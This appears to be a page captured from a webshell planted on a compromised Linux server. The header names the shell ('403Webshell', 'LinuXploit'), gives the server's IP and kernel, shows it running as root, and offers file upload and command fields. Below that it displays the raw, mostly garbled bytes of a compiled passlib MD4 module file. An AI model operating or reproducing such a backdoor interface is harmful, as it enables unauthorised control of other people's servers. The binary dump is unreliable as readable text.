403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/passlib/crypto/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/passlib/crypto/__pycache__/_md4.cpython-312.pyc
�

XR_���\�dZddlmZddlZddlmZmZmZdgZd�Z	d�Z
dZGd	�de�Z
y)
a�
passlib.crypto._md4 -- fallback implementation of MD4

Helper implementing insecure and obsolete md4 algorithm.
used for NTHASH format, which is also insecure and broken,
since it's just md4(password).

Implementated based on rfc at http://www.faqs.org/rfcs/rfc1320.html

.. note::

    This shouldn't be imported directly, it's merely used conditionally
    by ``passlib.crypto.lookup_hash()`` when a native implementation can't be found.
�)�hexlifyN)�
bascii_to_str�irange�PY3�md4c��||z||zzS�N���x�y�zs   �5/usr/lib/python3/dist-packages/passlib/crypto/_md4.py�Frs��
�a�C�a�R�1�H���c�$�||z||zz||zzSr	r
rs   r�Gr!s��
�a�C�A�a�C�=�A�a�C� � rl��c�~�eZdZdZdZdxZZdZdZdZ	dZ
d6d�Zgd�gd�gd	�gd
�gd�gd�gd
�gd�gd�gd�gd�gd�gd�gd�gd�gd�gZgd�gd�gd�gd�gd�gd�gd�gd�gd�gd�gd �gd!�gd"�gd#�gd$�gd%�gZ
gd�gd&�gd'�gd(�gd�gd)�gd
�gd*�gd�gd+�gd,�gd-�gd"�gd.�gd/�gd0�gZd1�Zd2�Zd3�Zd4�Zd5�Zy)7ra�pep-247 compatible implementation of MD4 hash algorithm

    .. attribute:: digest_size

        size of md4 digest in bytes (16 bytes)

    .. method:: update

        update digest by appending additional content

    .. method:: copy

        create clone of digest object, including current state

    .. method:: digest

        return bytes representing md4 digest of current content

    .. method:: hexdigest

        return hexadecimal version of digest
    ��@rNc�Z�d|_gd�|_d|_|r|j|�yy)Nr)i#Egl�+�_l�\u1ivT2r)�_count�_state�_buf�update)�self�contents  r�__init__zmd4.__init__Ns+�����F�����	���K�K�� �r)r���rr!)r!rrr r�)r r!rrr �)rr r!rr!�)rrr r!�r!)r!rrr �r")r r!rr�r#)rr r!rr"r$)rrr r!�r!)r!rrr �	r")r r!rr�
r#)rr r!rr#r$)rrr r!�r!)r!rrr �
r")r r!rr�r#)rr r!r�r$)r!rrr r%r&)r r!rrr(r))rr r!rr+r,)rrr r!rr!)r!rrr r&r&)r r!rrr)r))rr r!rr,r,)rrr r!r r!)r!rrr r'r&)r r!rrr*r))rr r!rr-r,)rrr r!r!r!)r!rrr r"r&)r r!rrr#r))rr r!rr.r,)r!rrr r(r))r r!rrr%r#)rr r!rr+r.)r!rrr r*r))rr r!rr-r.)r!rrr r)r))r r!rrr&r#)rr r!rr,r.)r!rrr r#r))r r!rrr"r#)rr r!rr.r.c��tjd|�}|j}t|�}|jD]J\}}}}}	}
||t||||||�z||	ztz}||
ztz|d|
z
z	z||<�L|jD]M\}}}}}	}
||t||||||�z||	zdztz}||
ztz|d|
z
z	z||<�O|jD]H\}}}}}	}
||||||z||zz||	zdztz}||
ztz|d|
z
z	z||<�Jtd�D]}||||ztz||<�y)zprocess 64 byte blockz<16I� i�y�Zi���nr%N)�struct�unpackr�list�_round1r�MASK_32�_round2r�_round3r)
r�block�X�orig�state�a�b�c�d�k�s�t�is
             r�_processzmd4._process�s���
�M�M�&�%�(���{�{���T�
�� �<�<�	8�K�A�a��!�A�a��q��A�e�A�h�u�Q�x��a��9�9�A�a�D�@�G�K�A��A���(�Q��A��Y�7�E�!�H�	8�
 �<�<�	8�K�A�a��!�A�a��q��A�e�A�h�u�Q�x��a��9�9�A�a�D�@�:�M�QX�X�A��A���(�Q��A��Y�7�E�!�H�	8�
 �<�<�	8�K�A�a��!�A�a��q��U�1�X��a��0�5��8�;�<�q��t�C�j�P�T[�[�A��A���(�Q��A��Y�7�E�!�H�	8�
���	3�A��A�w�u�Q�x�'�7�2�D��G�	3rc�,�t|t�s"trtd��|j	d�}|j
}|r||z}d}t
|�}	|dz}||kr,|j|||�|xjdz
c_|}n||d|_y�B)Nzexpected bytes�asciirrr)	�
isinstance�bytesr�	TypeError�encoder�lenrDr)rr�buf�idx�end�nexts      rrz
md4.update�s����'�5�)��� 0�1�1�"�.�.��1���i�i����G�m�G����'�l�����8�D��s�{��
�
�g�c�$�/�0����q� ����#�C�D�M��	��rc��t�}|j|_t|j�|_|j|_|Sr	)rrr3rr)r�others  r�copyzmd4.copy�s4������{�{����D�K�K�(����Y�Y��
��rc��t|j�}|j}|jdzt	|�dzz}|dzddt	|�z
dzzztjd|tz|dz	tz�z}t	|�d	k(r)|j|dd�|j|dd�n!t	|�dk(sJ�|j|�tjd
g|j���}||_|S)Nir(����wrz<2Ir0�z<4I)	r3rrrrKr1�packr5rD)rr:rL�msglenr8�outs      r�digestz
md4.digest�s����D�K�K� ��
�i�i�����S��3�s�8�A�:�-���g�
��C��C��L�B�+>� ?�?��K�K��v��/�&�"�*��1G�H�I���u�:����M�M�%���*�%��M�M�%���*�%��u�:��#�#�#��M�M�%� ��k�k�%�.�$�+�+�.������
rc�F�tt|j���Sr	)rrr[)rs r�	hexdigestz
md4.hexdigest�s���W�T�[�[�]�3�4�4rr	)�__name__�
__module__�__qualname__�__doc__�name�digest_size�
digestsize�
block_sizerrrrr4r6r7rDrrRr[r]r
rrrr,s����2�D�!�!�K�*��J�
�F�
�F��D�!�	����������������'�G�0	����������������'�G�0	����������������'�G�,3�8�,��05r)ra�binasciirr1�passlib.utils.compatrrr�__all__rrr5�objectrr
rr�<module>rjs>��
�&�
�;�;��'��
�!���
@5�&�@5r

Youez - 2016 - github.com/yon3zu
LinuXploit